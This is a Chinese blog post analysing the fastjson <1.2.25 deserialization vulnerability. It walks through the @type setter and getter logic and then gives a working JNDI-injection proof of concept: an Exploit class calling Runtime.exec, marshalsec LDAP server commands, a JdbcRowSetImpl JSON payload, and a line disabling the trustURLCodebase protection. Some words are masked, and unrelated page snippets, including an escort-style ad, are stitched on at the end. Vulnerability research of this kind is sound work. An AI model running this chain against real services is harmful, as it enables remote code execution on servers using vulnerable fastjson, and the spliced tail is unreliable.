本文将对fastjson<1.2.25反序列漏洞进行漏洞原理分析、本地调试验证等,后续将以fastjson组件版本为时间轴,持续发布漏洞演变历程文章。
Fastjson<1.2.25
@type属性:Fastjson支持在json数据中使用@type属性,该json数据会被反序列化成指定的对象类型,在反序列化过程中fastjson会调用parse(jsonStr)函数尝试对对象的属性进行赋值,若对象的javabean存在属性的setter *** 则调用set *** ,反之调用get *** 。
import java.util.Map; public class User { private String name; private Map map; public String getName() { System.out.println("getName is running ..."); return name; } public void setName(String name) { System.out.println("setName is running ..."); this.name=name; } @Override public String toString() { return "User
经过代码追踪,发现属性赋值是在FieldDeserializer.java的setValue函数中,因为map属性不存在set *** ,故在setValue函数中fieldInfo.getOnly为true,method为getmap ***
public void setValue(Object object, Object value) { if (value==null // && fieldInfo.fieldClass.isPrimitive()) { return; } try { Method method=fieldInfo.method; if (method !=null) { if (fieldInfo.getOnly) {//set *** 不存在,根据类型调用get *** if (fieldInfo.fieldClass==AtomicInteger.class) { AtomicInteger atomic=(AtomicInteger) method.invoke(object); if (atomic !=null) { atomic.set(((AtomicInteger) value).get()); } } else if (fieldInfo.fieldClass==AtomicLong.class) { AtomicLong atomic=(AtomicLong) method.invoke(object); if (atomic !=null) { atomic.set(((AtomicLong) value).get()); } } else if (fieldInfo.fieldClass==AtomicBoolean.class) { AtomicBoolean atomic=(AtomicBoolean) method.invoke(object); if (atomic !=null) { atomic.set(((AtomicBoolean) value).get()); } } else if (Map.class.isAssignableFrom(method.getReturnType())) { Map map=(Map) method.invoke(object); if (map !=null) { map.putAll((Map) value); } } else { Collection collection=(Collection) method.invoke(object); if (collection !=null) { collection.addAll((Collection) value); } } } else {//set *** 存在,调用set *** method.invoke(object, value); } return; }
调试可以发现调用链如下:
(2)漏洞利用,经过上述分析,满足一下任意条件可进行RCE
找到一个类,存在一个属性,属性类型为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection其中一种类型,定义了属性的get *** 但未定义set *** ,在get *** 中可构造gadget链达到代码执行目的。
找到一个类,存在一个属性,定义了set *** ,在 *** 中可构造gadget链达到代码执行目的。
找到一个类JdbcRowSetImpl,在变量autoCommit的set函数中,会调用connect函数:
connect函数中,会获取private成员变量dataSourceName,作为lookup函数的参数进行服务获取,这时JNDI注入攻击走起:
步骤1:启动HTTP服务并放置构造函数具有RCE的攻击类,启动LDAP服务
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.rmi.Remote; import java.rmi.server.UnicastRemoteObject; import java.util.Hashtable; public class Exploit extends UnicastRemoteObject implements ObjectFactory, Remote { public Exploit() throws IOException { System.out.println("Exploit"); Runtime.getRuntime().exec("calc"); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { System.out.println("getObjectInstance"); Runtime.getRuntime().exec("calc"); return null; } }
python -m SimpleHTTPServer 80 java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 7777
步骤2:触发json解析,实现计算器弹窗
String className="com.sun.rowset.JdbcRowSetImpl";
String dataSourceName="ldap://127.0.0.1:7777/any";
json="{"@type":"" + className + ""," + ""dataSourceName":"" + dataSourceName + ""," + ""autoCommit":true" + "}";
//JDK 8u191及以后,默认为false,以下为了调试手工改了配置
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
*** ON.parse(json);
针对高版本JDK,默认配置限制了远程factory类的下载,实际环境中可以用LDAP+本地反序列化的方式去进行利用。
本文作者:CTCS安全攻防团队? pom
五粮液52度有几种版本(52度五粮液价格表大全)五粮液用小麦、大米、玉米、高粱、糯米5种粮食发酵酿制而成,在中国浓香型酒中独树一帜。那52度五粮液的价格是多少钱一瓶?今天,wed114结婚网小编为大家...
提及5号电池,GP超霸肯定能在消费者心中占有一席之地。这个无论是在质量、技术还是文化传承上都不断创新的品牌,始终给消费者传递着严谨认真、精益求精、追求完美的工匠精神。GP超霸电池在近50多年的发展历程...
金毛犬深受居多人士喜欢,它是最忠实、最友善的家庭犬、陪伴犬和导盲犬。下面来聊聊怎样做一个优秀的金毛犬家长吧,今天要聊的是怎样喂养小金毛狗狗和训练的最佳时间: 第一,喂养次数 三个月以前的幼犬,...
平阳商务守候小学妹得话你可以寻找一些学员来开展一个非常好的产品宣传策划【姜高彭】,上海市是一座成功者的集中地,对商业服务女学妹的要求也是较为大的,今日大牌明星商务女学妹共享女学妹访梦,年纪成都市 女...
在大多数编程言语中,一般切割作业的方法是运用一种叫做线程的东西,就像有多个人在一个项目上作业。 假如你有彼此独立的使命,你能够给他们不同的线程。 然后,这两个线程能够一起处理独自的使命。 网页挖矿进犯...
本文目录一览: 1、苹果手机用什么杀毒? 2、苹果手机用得着杀毒吗?用什么杀毒软件好? 3、苹果手机一般用什么杀毒软件?多久需要进行一次杀毒? 4、苹果手机杀毒软件哪个最好用 5、苹果...